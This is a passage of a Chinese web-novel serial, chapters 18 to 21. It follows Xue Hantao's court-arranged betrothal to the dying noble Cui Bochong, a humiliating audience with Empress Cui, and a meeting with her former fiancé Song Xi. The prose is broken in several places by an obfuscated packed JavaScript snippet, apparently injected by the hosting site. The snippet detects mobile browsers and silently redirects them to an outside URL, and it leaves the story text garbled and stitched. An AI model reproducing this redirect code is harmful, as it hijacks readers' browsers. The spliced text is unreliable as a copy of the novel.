对着她这副可怜的模样,崔伯翀不仅无动于衷,还想笑的更加开怀。手指捏着她的肩骨,他强迫她转过身,毫不留情地扯开她的衣襟。 细弱的肩膀失去伪装,露出了苍白的肌肤。 薛含桃差一点又不能呼吸,心怦怦乱跳,直到一点冰凉的触感涂抹在她的肩膀处。 她嗅到了一股淡淡的药香,脸颊顿时通红,原来世子发现了她肩膀有伤,在为她涂药啊。 可是,时间过了很久,又有不同于药膏的湿润触感,在慢慢蔓延。 有些刺痛,她闷头,咬着嘴唇一声不敢吭。 18. 第十八章 桌上还是那面果儿从宫中带出来的铜镜,工艺精湛,荧光如水,它静静地立着不动。 薛含桃费力地偏转身体,扭着脑袋,用一种可笑的姿态想要看清她的肩后。那里,仍旧停留着让她难为情的触感,起初是轻柔的,后来又变成了刺痛,好像有尖利的东西想要穿透她的骨头。 无论被怎么对待,她都一声不敢吭。可是当背后可怕的猎人离去后,山洞中藏着的小动物便一点一点探出了头。 终于,她看到了。 光洁的镜面上,先是照出了一大片惨白的肌肤,看起来和她一模一样的萎靡不振。接着便是青黑色的瘀痕,薛含桃碰不到,但她能猜到它是怎么出现的,那个被阿凶咬到手背的衙役怀恨在心,用了很大的力气推她,伤到了她的肩膀。 现在她动了动身体,感觉不怎么痛了,应该是世子为她涂抹的药膏起了作用。 扭动间,镜中突兀地露出了一枚紫红色的……印记,无声地嵌在肩骨的最顶端,彰显着前不久的她受到了怎样的对待。 她被咬了,或许一开始还有舔舐。 属于另外一个人的唇舌在她的皮肉上停留,然后留下了清晰的痕迹。 意识到这一点,薛含桃整个人仿若被定住了,眼神迷离又呆滞,怎么能这样呢? 这般亲密,这般强势,是她从来没有经历过的。未婚夫妻是要这么相处的吗?可是为什么,之前她和宋熹连手也没牵过? 薛含桃真的想不通,只能拼命地回忆他临走前和她说过的话。 “虽然你不诚实也不老实,但你乖巧听话,也算是讨人喜欢。” 世子仍旧生着她的气误会她欺骗自己,她反驳不了,只好委委屈屈地抿着嘴唇。 然后,他莫名沉默了一段时间,很温柔地为她拉好衣襟,将装着药膏的瓷瓶放进她的手中。 这个时候,世子又低声说了一句什么呢。 薛含桃记起来了,他说,“不要把我想的太好。” - 崔伯翀从房中走出,眸色黑沉,唇角却噙着一抹淡淡的笑。 他是一个卑劣的人,偏偏有颗脑子不灵光的小桃子将他当作了神明敬畏。 现在只是个开始,慢慢她就会知道她的想法有多么的错误。 接下来呢,她就会后悔,或者,深深地怨恨。 崔伯翀不在乎,甚至还有些愉悦,因为命运如此,他阻挡不了自己的死亡,也阻挡不了她成为自己的未亡人。 不过,他边走边惊讶地喟叹,原以为她只是一颗随处可见的桃子,却不想真的能榨出甜蜜的汁液。 “真是意想不到啊,不过这颗桃子的骨相生的流畅精致,日后养一养,说不得会变成一颗人人追逐的仙桃。” 崔伯翀忽然很是期待那一日的到来,免得总是被人诧异“眼光独到。” 他不慌不忙地走在狭窄又简陋的街道,看着日光平等地照在每一个人的身上,第一次感觉到了轻松。 尽管这里的人曾经或许都见过身在马背上的他,为他欢呼,为他雀跃,而现在他走过去,他们都不甚自在地躲开,偶尔看过来,眼中也只剩下惧怕。 罗承武架着马车在后面跟着,崔伯翀一直走到了街头。 “贵人饶命!贵人,我给您磕头,求您放过我的儿子吧。”这时,一个老妇突然冲了过来,不停地磕头求饶。 崔伯翀看了一眼她涕泪横流的模样,往后望去。 “世子,她的儿子就是把薛娘子指认为流民的赖老大,赖老大还偷盗了薛娘子家中的财物,您吩咐我们砍断他的双手。” 罗承武立刻上前,开口解释,不出意外的话,现在赖老大的人已经被他们带来的护卫抓到了。 他的话音落下,老妇也就是郑婆子哭嚎地更加起劲,说她的儿子只是鬼迷心窍不是故意害人,要打要骂冲着她来。 像是印证罗承武的说法,果然,下一刻,昏厥过去的赖老大就被两人绑着送过来复命。 他的双手不自然地垂在身后,像是已经被折断了。 “儿啊,你快醒醒啊!”郑婆子看到这一幕,天都塌了,喊了两声没见赖老大醒来,她顿时疯狂地咒骂起来。 “娼妇,那就是两个小娼妇!不干不净地做些见不得人的勾当,我儿没错,就该抓了她们。” “不光抛头露面不守规矩,每日还净召男人上门!长得不怎么样,惯会勾引人,前天来了一个男人待在她房里,不知道干些什么,如今这又来了一个。” “奸夫!” 罗承武的脸色铁青,怎么也没想到自家世子会有被一个老婆子指着鼻子骂奸夫的一日。 他立刻看去,却见世子的脸色不仅没变,还颇为和煦。 “前天来过一个男人,想来,那人应该就是她的前任未婚夫。到底说了什么做了什么,我也很好奇。” “不过,还是下次再问好了。” 不能将人欺负了一次又一次,将人欺负到极致不是他的处世之道。 崔世子连声音都带着笑意,不停咒骂的老妇和昏厥的癞子赌鬼被他视若无物,罗承武一时便不知该如何应对。 住在这里的不少人都在偷偷关注着事态的发展。 罗承武拿不定主意,还是开了口询问。 “世间的人与物自有律法处置,依律行事,你问我?” 听到世子极为冷淡的语气,罗承武没了声音。 他最终命人将这一对挡路的母子拉到县衙去了,造口业有造口业的罚法,偷盗加上诬告不是关十几年就是流放三千里作苦力。 不管结果如何,这对母子大概是不会再在这里出现了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243987|166008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' - 次日。 薛含桃发现周围人看自己的目光发生了变化。 她为了犒劳阿凶和果儿姐姐两个大功臣,一大早就去满香楼买了几只烤鸡还有蒸鸭,回来时顺便又去糕点铺子称两斤点心。 糕点铺子里,伙计曾为她说话。 薛含桃买过了点心,一脸真诚地向他道谢,送给他一只烤鸡。 伙计的态度有些奇怪,虽然收下了烤鸡,但总是不与她对视,每当薛含桃看过去,他就飞快地移开视线。 好像,她去满香楼买烤鸡的时候,周围的人也是如此。 她想找个人问个明白,刚好这时封大娘子从铺子后面出来。 薛含桃眼睛一亮,叫了一声大嫂,谁知向来热情的封大娘子态度也有了转变,怎么说呢,看上去比之前还要热情,但薛含桃却觉得她们之间的距离变得远了。 她不明白是怎么回事,正想和封大娘子问清,果儿着急忙慌地过来寻她,要她快些回去。 “娘子,马车又来了!” 果儿压抑着心头的激动,凑到她身边小声说道。 她口中的马车指的只有一种,那就是宫中的薛贵妃派出来的,接薛含桃进宫! 果儿觉得贵妃娘娘一定是知道昨日发生的事情了,所以今日才如此着急,宫门才开就迫不及待地令娘子进宫。 薛含桃被果儿拉着,不得不从糕点铺子离开。 “大嫂,等明日我再过来。”临走前,她不忘同封大娘子笑一笑。 还是那般老实诚恳的模样,不曾有任何改变。 “唉,谁曾想……她真的来历不凡。”封大娘子捂着胸口,忍不住喃喃低语。 身份太低会被人看轻,身份太过“贵重”,这里的人包括封大娘子在内更不自在。 一想到那个俊美的郎君轻而易举让人处置了赖老大和郑婆子,还把他们都送去了县衙,封大娘子就倒吸一口冷气, “怎么办?我以前没有对薛妹妹做过不好的举动吧?” “若是有的话,那可就完了。” - “欺人太甚!反了天了!我薛青娥这些年还未被人如此欺辱过!小桃,我如今只你一个妹妹,他们辱你便是在辱我!” “昨日,你就该让人到宫中报信。” 薛含桃进入柔仪殿,果不其然,宫中的薛贵妃已经知道了昨日发生的事情,正大发雷霆。 都城府尹写了一封奏章到宫中告罪,德昌帝将奏章给她看过,薛贵妃简直要气炸了。 自从进宫得到了皇帝的喜欢后,她一直顺风顺水,眼下又生了唯一的皇子,呵,居然就在她的眼皮子底下,她的妹妹被当作流民抓了,甚至还差一点被掳卖为奴。 薛贵妃差一点咬碎一口银牙。 此仇不报,她枉为这个贵妃! 19. 第十九章 “阿姐先消消气,您还在月子里面,我怕您动气伤身……而且,您看,我现在好好的,不也没什么事……” 面对薛贵妃的怒火,薛含桃小声解释,给她看自己的全身上下。 除了肩膀有些伤,她真的还好,比起被关在柴房里面挨饿强多了。 “小桃,你和我仔细说清楚,那个刘县令和他女儿,和你之间到底怎么回事。”薛贵妃的身体比前几日恢复了不少,她下榻走过来,气势强盛,“还有宋熹,我记得叔父临终前为你们定下了婚事,为此还把珍藏多年的书稿全部给了他。你只和我说你们退婚了,却没有说其中有别人掺和啊。” 薛贵妃的目光很有穿透力,她也在问为什么不说,只要说出来,她这个贵妃姐姐难道不会为她做主吗? 一个被免职了的县令,收拾他不过是贵妃动动手指的事。 薛含桃无声沉默,瘦小一团站在殿中的姿态有些悲伤,还有些可怜。 正当薛贵妃还要再问的时候,听到她含糊地说了一句话,“伯父伯母是阿姐的亲生父母,我只是不想阿姐伤心。” 提到刘金眉,提到宋熹,就一定要提到大伯父大伯母。他们对她才是真正的狠心,可是现在他们所有人死了。 薛含桃连痛恨他们都变得茫然,她要如何和堂姐说呢?告诉堂姐大伯父大伯母为了刘金眉的五十两银子将她关起来逼着她嫁给一个傻子,告诉堂姐洪水来了他们丢下她逃命结果全都葬身在水底。 然而最后却是薛含桃活了下来,和堂姐血脉更近的亲人死光了。 她知道堂姐心中埋怨伯父伯母,但她无法确定堂姐对父母还有没有感情。 所以,对着活着的子女言死去父母的过错,她说不出口。 面对她的逃避,薛贵妃忽然明白了一切,是了,她怎么忘记了自己那对冷血的父母。 “对,姓刘的是县令,他的女儿怎么有人敢得罪,巴结还来不及。他们对你做了什么?” “小桃,告诉我!” “……其实事情都已经过去了……刘小姐派人到家中,伯父伯母替我退了和宋熹的婚约,”薛含桃抬头看着薛贵妃,故作轻松地笑,“伯父伯母可能是怕刘县令的势力,后来便觉得我还是嫁出去的好,他们为我寻了一桩婚事,是……孙家的儿子。” 村里的孙家,薛贵妃也有印象,他们家那个痴傻儿子谁人不知谁人不晓。 “哈哈哈,果然,果然,是他们能做出来的事,你不愿意,是不是还把你关在房中,对你说爹娘为了你好。”薛贵妃笑,笑出了眼泪,当年她不也是被逼着如此吗? “伯父伯母把我关在了柴房,我饿的没力气,外面一直在下雨,只听见伯父伯母他们说要去逃难,后来…后来我在水中发现了他们的衣服。” 少女的语气小心翼翼,伯父伯母对堂姐比对她还是好很多的,堂姐当年没有挨饿,自己的父母也去劝过。 听到这里,薛贵妃眼角的泪水终于滑落下来,一张脸似哭非哭,似笑非笑。 柔仪殿久久寂静无声,一直到胡茵儿进来禀报崔皇后要见薛含桃。 “皇后娘娘派来的人就在殿外等着薛娘子,娘娘您看?”胡茵儿抬眼看向薛贵妃,呼吸谨慎。 “皇后?哦,崔世子是她的亲侄子,她要见小桃,本宫知道了。”薛贵妃冷冷拭去脸颊的泪水,从自己的发间拔下了一只鸾凤金钗,转而插在薛含桃的头上。 短短的时间内,她的眼泪已经收了回去,对着薛含桃说道,“小桃,你放心去见皇后,本宫不会放过欺辱你我姐妹的人,县令还有他的女儿,本宫要他们都不得好死。” “阿姐不要伤心,我真的没事,昨日我已经状告刘小姐了。” 听着薛贵妃冰冷的语气,薛含桃讷讷出声。 虽然总是会被欺负,但她也有自己的尖牙利爪。 所以,不要再为她担心了。 这一刻,薛贵妃看到了她眼中漾着的光芒,弱小的,却是明亮的坚定的。 “崔世子天潢贵胄,虽然我不知昨日他为何去救你,但小桃,不要随便就相信人。听闻崔世子身边有疼爱的小侍,崔皇后若是问你的看法,记住少说多笑。” “小、小侍,阿姐,我记得了。” 少女攥着指尖老实点头,她会多笑的,一个字都不说。 也不说那个小侍就是她自己。 - 早朝,大殿之上。 久违多日的崔世子露面,站在了枢密使狄恒的身后,引起不少人暗中的揣测。 是不是要有大事发生了?人人都知这两年崔世子行为散漫,几乎不出现在朝堂上。 朝廷许多官吏窃窃私语,都城府尹怀呈每听到一个他们的猜测,心中都暗道了一句不对。 八竿子打不着,怎么不多想想世子前阵子去了哪里,做了什么。 “伯翀今日倒是稀奇,跟着狄卿一同来了。”德昌帝高高坐在龙椅上,看了一会儿交头接耳的臣子们,率先开口。 其实他知道原因,怀呈的奏章中可不止秉明了一件事。 德昌帝对此感官复杂,首先,崔伯翀找到了证据却不说出来,他自是不悦。然而证据若是摆出来,他又是不愿意查下去的,毕竟很有可能他宠幸的一些心腹也牵扯在其中。 狄恒这人,德昌帝也不太喜欢,金兵压境时,德昌帝授意心腹提出南迁,最先开骂的那个人就是他。 “狄公找到臣,说是有一件关乎社稷的大事要提出,臣也不敢不来呀。” 殿中,风华正茂的青年发出一声轻笑,目光扫过前面几人,尤其一名穿着麒麟袍服的中 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“皇子降生,天下承平。陛下,前不久臣手中得了一件东西,想来,天意如此,臣能够得到它是为了皇子亦是太子殿下扫清前路。” 在朝臣失声,德昌帝欣喜若狂的时候,崔伯翀一脸淡定地站了出来,从袖中拿出一物。 天下的主人不在乎这大好河山,但若是有个人告诉他为了太子呢? 果然,不出他所料。 太子在前,德昌帝早就没了一开始的不悦,他看过崔伯翀呈上去的账册,没有丝毫犹豫,严令彻查。 作为丰县的县令,主持修建了堤坝的人之一,刘县令,罪责难逃。 除此之外,殿中也有多人当即落马,官职俱都不低。 …… 散朝后,顶着以蔡存为首多人仇视的目光,崔世子如闲庭散步般走出了大殿。 他漫不经心地想着,自己也是不得已而为之,一个县令都欺负到自己未婚妻的头上了。 若是毫无动作,真是心头不爽。 “世子,请留步,皇后娘娘请您过去叙话。” 坤宁殿的掌事太监高顺忠守在文德殿外,一发现崔世子的身影,追赶上前。 崔伯翀抬起眼皮,目光和语气亦是淡漠,“皇后娘娘深居后宫,我乃外臣,纵有姑侄关系,也不便相见。” “世子,皇后娘娘先前请了曹家的九娘子过去。”高顺忠笑了笑,犹豫一瞬又道,“还有一位薛娘子,皇后娘娘知晓陛下赐婚,故而去柔仪殿叫了人。” 曹家九娘子,之前可是同世子接触最多的女子,听说定国公夫人先前也有意说亲,可惜……可惜! “带路。” 崔伯翀薄唇吐出几个字,想说麻烦。 他快死了也不得清静。 20. 第二十章 柔仪殿,延和殿,还有坤宁殿。 以前的薛含桃从来没有想过自己会接连走进这三座天下最为尊贵的宫殿,并不止一次。 她的表现又比之前好了一些,背挺的很直,走的步子也是不大不小刚刚好。 “薛娘子,皇后娘娘就在殿中,奴婢未经传召不得进去,您请吧。”坤宁殿的宫人将她带到殿门处,仅留下一句话,接着便悄无声息地退至一旁。 坤宁殿整体比薛贵妃的柔仪殿大气,殿门更高,她鼓起勇气走进去,默默觉得自己是一只昂首挺胸的小蚂蚁。 她与世子的婚事已经成了定局,无可更改。薛含桃想着自己如今要见世子的亲姑母,不可以给世子丢脸。 对,还要笑,阿姐说面对崔皇后要少说多笑。 于是,她的一双眼睛和嘴角都弯起来,很讨人喜欢的样子,遮住心中越来越多的忐忑与不安。 行至坤宁殿的殿中央,薛含桃跪了下来,用进宫几次勉强学来的经验,拼尽全力做出了最标准的礼仪。 她的头抵着两只平铺的手掌,努力让自己的声音不那么颤抖。 “民女薛含桃,拜见皇后娘娘,祝愿皇后娘娘永远开心快…” “娘娘,您快闻闻九娘新炙好的茶饼,雨后摘下最嫩的茶尖,每一粒都经过百遍的清洗,烘晒,最后揉制成这么一小团,再放在文火上慢慢地炙,可谓是留香悠久。” 一个身影忽然又再自然不过地出现,携带着馥郁的香气和动听的声音越过薛含桃的身边。 明明她很不礼貌地打断了他人的话,可是这殿中的每一个人就像是没有发现一般,热情、亲昵地称呼她为九娘子。 “谁人不知九娘子手巧,炙的茶饼京城中人人都赞不绝口。” “果然是雨后新茶,瞧瞧这嫩绿的色儿,九娘子好心思。” 薛含桃仍旧跪在地上,从她的角度仅仅能看到少女飘动的裙袂,以及脚上鞋子镶嵌的珍珠。 很大很圆,闪耀着柔润的光泽,每一颗都映照出她傻愣愣的眼神。 没人注意到她,也没人唤她起身。 薛含桃仿佛成为了这里的透明人,听着少女细数炙烤茶饼的过程,听着宫人对少女毫不吝啬的称赞,也听着一个威严又不失温和的声音在询问少女有多久没见她的大表兄了。 “以前住在姑母那里是和表兄天天见的,自从九娘及笄便见的少了,上一次见表兄还是表兄去樊州之前。娘娘,您怎么问这个呀?莫非是,是表兄要来这里吗?” 少女含羞带怯的声音传入薛含桃的耳朵时,她的手臂开始变得酸涩。 樊州啊,那这位九娘口中的表兄就是……原来她是世子的表妹。 “不错,今日伯翀上朝,本宫便命人守在文德殿外,等他下了朝就过来。”威严的声音微有停顿,仿佛这时才想起殿中还有一个人的存在。 崔皇后笑着道,“瞧本宫这记性,还有你们也该罚,怎么不提醒本宫薛贵妃的妹妹已经到了,快扶她起来。” 两名宫人上前,薛含桃沉默着站起了身。 忍着躯体的不适,她微微抬头,小心翼翼地将自己被打断的话说完,“祝愿皇后娘娘永远开心快乐。” 也正是这一刻,她才真正看清了崔皇后和那位九娘子的长相。 崔皇后不愧为一国之母,生的端庄的鹅蛋脸,眉眼虽然能看出有了年纪,但仍旧不减婉丽。 至于陪侍在她身旁的少女,清新怡丽,鲜艳娇嫩,让人想起雨后的新荷,一身粉裙青襦,美的不似人间俗物。 真是很美啊,浑身的气质也十分高雅。 薛含桃反应迟钝地扯开唇角,也朝她笑笑。 “原来你是薛贵妃的妹妹,我姓曹,家中排九,你以后就和她们一起喊我九娘子吧。”曹文真瞥了她一眼,目光发现那支鸾凤珠钗,才勉强咽下了快要冲到嘴边的轻蔑嗤笑。 她想,不会有人想到最后嫁给大名鼎鼎崔世子的人居然会是这样的一个女子,普通丑陋,连她身边最低等的侍女都比不过。 若不是薛贵妃生下了皇子,这样上不得台面的女子恐怕一辈子都不知道定国公府的府门朝哪儿开。 曹文真内心生出巨大的愤怒与不甘,姑母早就和她说过不止一次要让表兄娶她的,皇后娘娘也乐见其成,哪料最后出现一个卑微的农女! “九娘子。”薛含桃从善如流,照着喊她,因为看出她对自己的不喜,语气有些干巴巴。 见此,曹文真再也无法忍受,冷下一张脸,扭头转向崔皇后露出一副委屈的表情,“娘娘,表兄究竟什么时候到啊?” 崔皇后安抚地拍了拍曹文真的手背,让她再等一会儿,“本宫知道你心系伯翀,念着想见他一面,所以就让人传你入宫来,满足你的心愿。” “只是,”崔皇后的目光意味深长地落在殿中另外一名少女的身上,继续道,“可惜了!” 一句可惜背后暗含的意思有很多,合着崔皇后的下一句话一起将薛含桃抛去一个蒙昧晦暗的世界。 “以前,伯翀也最喜欢你。本宫还记得,有一次他从本宫这里得了一盆珍稀的花,转手就送给了你。” 心系,可惜,喜欢……所有的字眼从薛含桃的身体中经过了许多遍,她的鼻腔变得酸胀的同时,也恍然大悟。 原来这位曹九娘子不仅是世子的表妹,还是真正同世子两情相悦的那个人啊。 都怪她,一定是她太过粗心,没有和王牙媪再打听几遍,若是她知道世子和曹九娘子两情相悦,那她……还可以抗旨。对,她可以抗旨不从,这个办法怎么当时没有想到呢?薛含桃你真的是又蠢又笨啊,反正你的亲人除了堂姐已经死光了,堂姐还为陛下生下了皇子。陛下生气,只会冲着她一个人,阿凶就托付给果儿姐姐好了,她给果儿姐姐自己所有的银子…… 薛含桃挺直的脊背一点一点地变弯,脑袋也慢慢地垂了下去,她被汹涌而来的羞愧压垮了。 看到她仿佛失去了生机的模样,崔皇后满意地眯了眯眼睛,接着吩咐宫人将薛含桃送出坤宁殿。 “你是贵妃的妹妹,本宫也不便多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“回家,给种子浇水。”薛含桃下意识地回答,下一刻她辨认出身后的气息属于谁,瑟缩着躲开很远。 崔伯翀盯着她避犹不及的举动,很轻很细微地捻了下指腹。 “看来,你在坤宁殿有了一段奇妙的经历。”他薄唇启开,明明唇角噙着一抹淡淡的笑,但眼睛深处的厌倦与不耐快要化作实质。 薛含桃没有作声,她已经被内心的羞愧压垮了,根本不敢再接近他。 崔伯翀平静地望着一颗即将要枯死的桃子,手指终于动了,轻轻地放在她的肩膀,也刚好是他曾经停留过的地方,迫使她缩短与他之间的距离。 “你不说话,那就一同回去吧。” 回去了别的地方,他有的是手段和法子让她不得不开口。 “可是,世子,皇后娘娘还在坤宁殿等着见您呢。对,曹家九娘子也在,您和曹家九娘子……”高顺忠见状,心急如焚,额头上都冒出了汗珠。 “九娘子可是世子的表妹。” 闻言,崔伯翀嘴角勾起一个凉薄的弧度,“表妹?曹家的种,叫我表兄,我答应了吗?” 21. 第二十一章 听到这句话,高顺忠顿时汗流浃背。 他怎么忘了最要命的一件事,如今的定国公夫人的确是曹家九娘子的亲姑母不假,可崔世子的亲生母亲并非是曹夫人,而是定国公的原配杨夫人! 杨夫人乃是已故杨太尉之女,她怀着世子时不巧先皇北伐失败,时任左卫大将军的杨太尉守城战死,杨氏族人也死伤无数。闻此噩耗杨夫人动了胎气,难产生下崔世子之后就猝然离世。 仅半年后,定国公娶了曹夫人进门,又生下崔世子的三个弟妹。 于礼节上,曹家九娘子是可以唤崔世子一句表兄,然而,崔世子若是不认,谁又敢有异议。 当时定国公守妻孝才半年,曹氏就急着嫁女,这件事做的可不地道。 “世子,皇后娘娘……”无奈,高顺忠只得又提起崔皇后。 “坤宁殿既有客人,我怎好扰了姑母的兴致。”崔伯翀打断他的话,眉眼间的冷漠已经不再掩饰。 临死之前仍扰他清静,就不要怪他的脾性越来越差,忍耐度越来越低。 被他冷戾的声音又一次吓到,薛含桃忍不住挣扎,想要缩回她自己的小小的世界。在坤宁殿的时候,她便有了一种很强烈的感觉,自己是一个世界的闯入者啊。 她和世子,和曹家九娘子,甚至和胡姑姑还有果儿姐姐都不是一个世界的人。 薛含桃的世界是丰县底下那个偏僻少人的村子,一只会掉毛的大黑狗,一间灰扑扑的小屋,用力才能吃饱的肚子和抄不完的书。 肩膀处被捏的生疼,她还是没有躲开,急促地喘息了一声。 便是这一声急喘,崔伯翀骤然松开了手指,放她走在前面。 他被勾起了一些……夜间的回忆,骨子里的戾性悄无声息地变成了另外一种。 就这样,奇特的一幕出现了。 前方,一个既不美丽也不大气扔到人群中也找不到的少女闷着头走路。她的后面,不远不近,却跟着风华绝代的崔世子。 一路上,看来的宫人和禁军越来越多,他们眼中的惊奇像是对薛含桃又一次的公开处刑。 宫门处,她像热锅上的蚂蚁一样急着寻找来时的马车,然后另外一辆对她而言绝不陌生的马车停了过来。 “你不上去,还有更多人看你。哦,作为我的未婚妻。” 崔伯翀津津有味地开口,随便就将她世界的外壳打破,留出一个破败不堪的大洞。 “……我是真的没脸再和世子待在一起。”少女怔怔地钻进马车里面,在坤宁殿丢失的魂魄还没有回来,“为什么不告诉我,世子有两情相悦的人。” 也许,她就会想到抗旨不从。 “曹九娘子生的好美,气质也高贵,许多人夸赞她,她会炙茶饼,心思巧妙。世子喜欢她送给她珍稀的花,九娘子也欣喜地等待和世子见面……多相配啊。” 天造地设的一对,被她横插一脚给毁掉了。 薛含桃说不下去了,弯下腰,难堪地将脸埋进了膝盖。 “说完了吗?怎么不继续说,不会是哭了吧?” 听到他此时不该有的愉悦笑声,少女抬起头,露出泪光闪烁的眼睛和红通通的鼻尖。 “嗯,哭了。”崔伯翀确认了自己的判断,点点头,“哭完之后别忘了准备嫁妆和嫁衣。” 他语气淡淡地道成婚的吉日选好了,在小皇子满月之前的第三日。 距离现在也就八、九日的功夫。 聘礼、嫁妆、结亲需要的杂七杂八的东西都要在几天的时间里面准备齐全,不能出现乱子。 “可是,曹家九娘子……”薛含桃脑子里一片混乱,对婚期生出急切的同时仍然不忘记至关重要的一点。 “是,她比你美,比你高贵,比你脑子灵光,会炙茶,然后呢?和我有关系吗?我就算送给她十盆花,她依旧不会成为葬在我身旁的那个人。” 在薛含桃的目光中,男人的侧脸完美而优雅,可他的眼神又是冷淡的,厌弃的。 “阿姐和我说不要随便相信人,所以皇后娘娘是在骗我,九娘子也在骗我。”她总算从崔世子的态度中弄懂了一件事,曹九娘子不是世子喜欢的那个人。 至于为什么要骗她,估计崔皇后是想让她有自知之明吧。 能与世子相配的女子至少也要和曹九娘子一般。 她太差了,根本不配出现在她们的世界,也不配站在世子的身边。 最好,收起所有的妄想,老老实实地成为一个摆设,窗台上精美的花瓶也与她无关,她大概只是廊下一只盛着泥土的陶罐。 “我明白了,嫁给世子以后,我一定老实规矩,不会越过界限。”薛含桃认认真真地说出了自己的承诺,她会在心中牢记配不上世子,做一个透明人。 崔伯翀挑眉看向她郑重其事的表情,没有搭理她,一颗傻愣愣的桃子,婚后如何自然是他说了算。 揉圆捏扁,亦或是榨汁取肉,全看他的心情。 - 马车停在街口,这次已经没有人再敢看他们。 薛含桃发现,先前对她笑脸相迎的封大嫂也仓皇地躲进了铺子里,一瞬间福至心灵,她忽然明白了一切。 为什么周围的人改变了态度,面对她总是很奇怪。 “是因为我的身份变了吗?” “不,是因为我命人处置了住在这里的一对母子,他们害怕你畏惧你,因此远离你。” 崔世子耐心地为她解释,然后他指着一个在不远处徘徊的身影,轻轻笑着说道,“也不是所有人都躲开,你看,那人就是特意来找你的。” 顺着他的手指看去,薛含桃呼吸一滞,那个人影是宋熹,他出现在了她的小院门前。 她前不久才和他断绝了往来,如今他违背约定再次出现,大概是因为刘县令他们被抓起来了吧。 堂姐还很生气地说了绝对要刘县令一家人不得好死。 不对,宋熹并不知道堂姐如今是宫里的贵妃,除非,他以为帮自己的人是…… “小桃!你终于回来了!”薛含桃还沉浸在思考中,宋熹已经看到她走了过来。 其实,远远的,宋熹就注意到了那辆驶来的两架马车,它的规格,它的体制都不该出现在这里。 即便吏部侍郎,也没有如此华美精致的马车。 宋熹的直觉告诉他,马车里面,一定有一位不得了的大人物。 接着,他就看到他等待的小桃跟随一个男人从车厢中出来,两人的举止,很是亲近。靠在一起,身体相贴……是一种强势护着的姿态。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15264050|166008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宋熹眯起了眼睛,循着绝佳的记忆想起了那一次他同刘县令模糊不清的拜见,也就辨认出了那个男人是谁。 定国公世子,枢密副使,崔伯翀。 果然,小桃和他有千丝万缕的关系,绝不只是一个临时的侍女那么简单。或者说,崔世子把小桃当作了他的…女人,虽然大概率只是一时兴起,仅是用来暖床。 这样的例子,宋熹见过的不少,也并不意外。 有人喜欢美貌香软的女子,而有的人生来尊贵,环肥燕瘦都见过,山珍海味也都吃过,偶尔尝一尝清粥小菜,再正常不过。 如果小桃就是崔世子的清粥小菜,那么昨日刘县令一家突然被抓到京兆府便说得通了。 “学生宋熹拜见崔世子,不知世子前来,是否是因为刘县令被抓,学生也是才知道刘小姐对小桃做了什么,都怪我上门质问,引发她对小桃的怨恨。还好,小桃无事,不然我这个身为兄长的实难心安,想来都是世子相助。” 宋熹走近,先是对着崔伯翀行礼。 他没有露出很明显的惊讶与疑惑,但他眼神中对薛含桃的愧疚与担忧叫人一看就明白,他心里牵挂着她。 他站在薛含桃的这一边,还要为了她感谢崔伯翀的帮忙。 以清清白白兄长的身份。 “兄长?”崔伯翀眸光微动,削薄的唇吐出一句反问,“难道你不是她从小定下的未婚夫吗?” 语气平缓,但能听出其中的几分不满。 闻言,宋熹连忙否认,“世子误会了,小桃的父亲是学生的授业恩师。他去世时托付我多照顾小桃,为了对外好解释,便说我们两人是未婚夫妻。但实际上,我从来只把小桃当作自己的妹妹,前些时候,那个名不副实的婚约也已经取消。” “世子喜欢小桃,我为小桃感到高兴。小桃若是能留在世子的身边做一个侍妾,是她的福分。” 侍妾,福分,这就是宋熹以为的。 “是这样。”崔伯翀看向身边的女子,目光玩味,“本来我还想问他上一次来这里说了什么做了什么,现在看来不必了。” 薛含桃默不作声,不知自己是该伤心宋熹这么快撇清他们的关系,还是该庆幸不必再被世子误会。 最终,她只是又一次承认了她不被人喜欢的现实。 “我说过,你不要再来这里了,既然我们从前的婚约也是假的,那你就更不应该来找我。” 她慢慢地说着,语气很认真,“宋熹,我不会再唤你兄长,你走吧,离开这里,离开京城。” 作为牵连了她的罪魁祸首,堂姐也不会放过他。如果说薛含桃之前还想着劝说堂姐,可现在她觉得自己确实愚蠢,原来从始至终,她都没有认清他。 所以她的劝说也只剩下了一句话,离开京城。 宋熹不明所以,扬着一个温润的笑脸还想再问,结果,他眼睁睁地看着崔世子搂住了小桃的肩膀。 “你弄错了,成为一个侍妾不是她的福分。能够娶她为妻,是我的荣幸。” 崔伯翀心想,她怎么能这么可怜呢,可怜到让人不忍心再欺负。 “再过几日,就是我们成婚的吉日。” 到时候,他再来欺负这颗桃子好了,把皮剥开,然后肆意地品尝香甜的果肉。